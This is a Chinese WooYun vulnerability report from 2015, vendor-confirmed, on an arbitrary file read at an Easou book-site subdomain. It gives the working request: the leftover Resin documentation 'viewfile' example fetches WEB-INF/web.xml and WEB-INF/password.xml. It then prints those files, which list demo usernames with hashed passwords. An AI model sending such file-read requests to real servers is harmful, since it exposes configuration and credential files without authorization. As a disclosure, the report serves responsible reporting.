当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092392

漏洞标题:宜搜某站点任意文件读取漏洞泄漏账号密码

相关厂商:easou.com

漏洞作者: 路人甲

提交时间:2015-01-19 14:34

修复时间:2015-03-05 14:36

公开时间:2015-03-05 14:36

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-19: 细节已通知厂商并且等待厂商处理中
2015-01-19: 厂商已经确认,细节仅向厂商公开
2015-01-29: 细节向核心白帽子及相关领域专家公开
2015-02-08: 细节向普通白帽子公开
2015-02-18: 细节向实习白帽子公开
2015-03-05: 细节向公众公开

简要描述:

mei you wubi le

详细说明:

http://shu.easou.com/
宜搜书城
http://shu.easou.com/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml

WEB-INF/web.xml
<web-app>
<display-name>login-xml</display-name>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<!-- this is the jsp that a 'login' link uses -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Home</web-resource-name>
<url-pattern>/home.jsp</url-pattern>
</web-resource-collection>
<auth-constraint>
<!--
'*' for a <role-name> means "authenticated user with any role"
The user must be logged in with some kind of role to access
the home page.
-->
<role-name>*</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<web-resource-collection>
<web-resource-name>Professors</web-resource-name>
<url-pattern>/professors/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>professor</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<web-resource-collection>
<web-resource-name>Students</web-resource-name>
<url-pattern>/students/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>student</role-name>
<role-name>professor</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<web-resource-collection>
<web-resource-name>Staff</web-resource-name>
<url-pattern>/staff/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>staff</role-name>
<role-name>professor</role-name>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>form</auth-method>
<form-login-config>
<form-login-page>/login.jsp</form-login-page>
<form-error-page>/login.jsp?login_error=1</form-error-page>
</form-login-config>
</login-config>
<!-- Resin-specific XmlAuthenticator configuration -->
<authenticator>
<type>com.caucho.server.security.XmlAuthenticator</type>
<init>
<!-- Optionally put user information here. -->
<user>pince:Txpd1jQc/xwhISIqodEjfw==:staff,website</user>
<user>filch:KmZIq2RKXAHV4BaoNHfupQ==:staff</user>
<!-- You can also use an external file -->
<path>WEB-INF/password.xml</path>
</init>
</authenticator>

<security-role>
<role-name>professor</role-name>
</security-role>
<security-role>
<role-name>student</role-name>
</security-role>
<security-role>
<role-name>staff</role-name>
</security-role>
<security-role>
<description>member of the slytherin house</description>
<role-name>slytherin</role-name>
</security-role>
<security-role>
<description>member of the gryffindor house</description>
<role-name>gryffindor</role-name>
</security-role>
<security-role>
<description>member of the ravenclaw house</description>
<role-name>ravenclaw</role-name>
</security-role>
<security-role>
<description>member of the hufflepuff house</description>
<role-name>hufflepuff</role-name>
</security-role>
<security-role>
<description>website administrator</description>
<role-name>website</role-name>
</security-role>
</web-app>


http://shu.easou.com/resin-doc/examples/security-basic/viewfile?file=WEB-INF/password.xml

WEB-INF/password.xml
<!-- password.xml -->
<authenticator>
<!-- professors -->
<user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
<user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
<!-- students -->
<user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
<user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
<!-- alumni -->
<user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>

漏洞证明:

WEB-INF/password.xml
<!-- password.xml -->
<authenticator>
<!-- professors -->
<user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
<user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
<!-- students -->
<user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
<user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
<!-- alumni -->
<user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-19 14:45

厂商回复:

谢谢,我们会及时改正

最新状态:

暂无